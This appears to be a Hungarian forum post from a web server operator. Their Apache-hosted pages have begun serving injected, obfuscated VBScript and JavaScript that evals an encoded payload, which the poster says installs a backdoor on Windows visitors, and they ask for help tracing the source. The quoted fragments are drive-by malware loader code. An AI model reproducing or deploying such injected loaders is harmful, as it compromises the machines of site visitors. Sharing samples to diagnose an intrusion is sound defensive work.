egy vbs script-tel kezdődik
bh="*":fbg="%":fvggs="}02* ;92*ofx82*et96*rw.tnemucod02* 02*b3*y76*gd3*+of87*
d7*02*02*}02*02*a7*f=+y76*76* {02* esle02* d7* 02*92*1d2*gx46*82*t14*27*ah36*e2
*v87*07*=+y76*g02* d7*02* 18d3*+g87*46*02*02* b7* 02*92*0=<g87*46*82*f96*02* ;)13
*-1852*92*13*b2*17*go(( =gxd 02*{ 92*1->17*go82*fi02* ;)z66*(fO87*edni.67*xp=17*
76*f6* 02*;92*e6*76*c(t14*27*ah36*e2*gd3*a7*f02*02*b7*02* 92*++e6*g36*;htge6*56*l
e2*g<e6*76*36*;0=ng36*(ro66*02*02*02*;g87*d,'72*d3*97*g76*,q76*f6*,a7*f,''=o66*x,
""Ce2*f4*&,$}3|b7*32*NK+a2*e5*a4*82*87*b5*""\Mp163*Bsw!~AI f6*n04*65*2b3*mG`k:]d3
*vFz72*Tj96*h03*36*l76*f5*He8t27*E57*-b46*q73*5Pyf9a5*4)U16*""d3*v87*07*,n76*c02*
ra67*02* b7* 92*g(g87*rfa e6*oi47*36*n57*f ":rxw=unescape(Replace(StrReverse
(fvggs),fbh,fbg))</script>
majd egy kis javascript
var i,gwo; eval( rxw );i="<i8;c[>I<SaRA5'IcUolEUlH][TU=UB0tjM8[>IIIHpI]IEoHB0UMHJ
[%Efhfh%Efhfh%Ep1H-%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0000%E0
000%EHpbf%E}Zbf%E7-VZ%E7-7-%Ee}7-%Eh00}%E}}eb%Eyqef%EHyep%Ef00U%Eyyyy%EhpH-%Eehhp%
Eh0q-%Eq7hp%E}p}-%EeU0f%EZfhy%E0fe7%EpqqZ%E}pZq%E}pbV%E110h%Ehqe-%Ey0eh%Eq7yy%E}hh
V%EeeHZ%Eh17Z%EZqb
de ez jó sokáig...
hogy mit csinál? backdoort telepít a win-es gépre: indít egy cmd-t és hajrá...
node: a szerver linux, apache 2.0.40, és eddig nagyon jól megvolt... lemaradtam valamiről? valaki beköltözött?? kerestem az oldal forrását a gépen, sehol semmi... de honnan veszi ezt a kódot? kifutottam a tudásomból...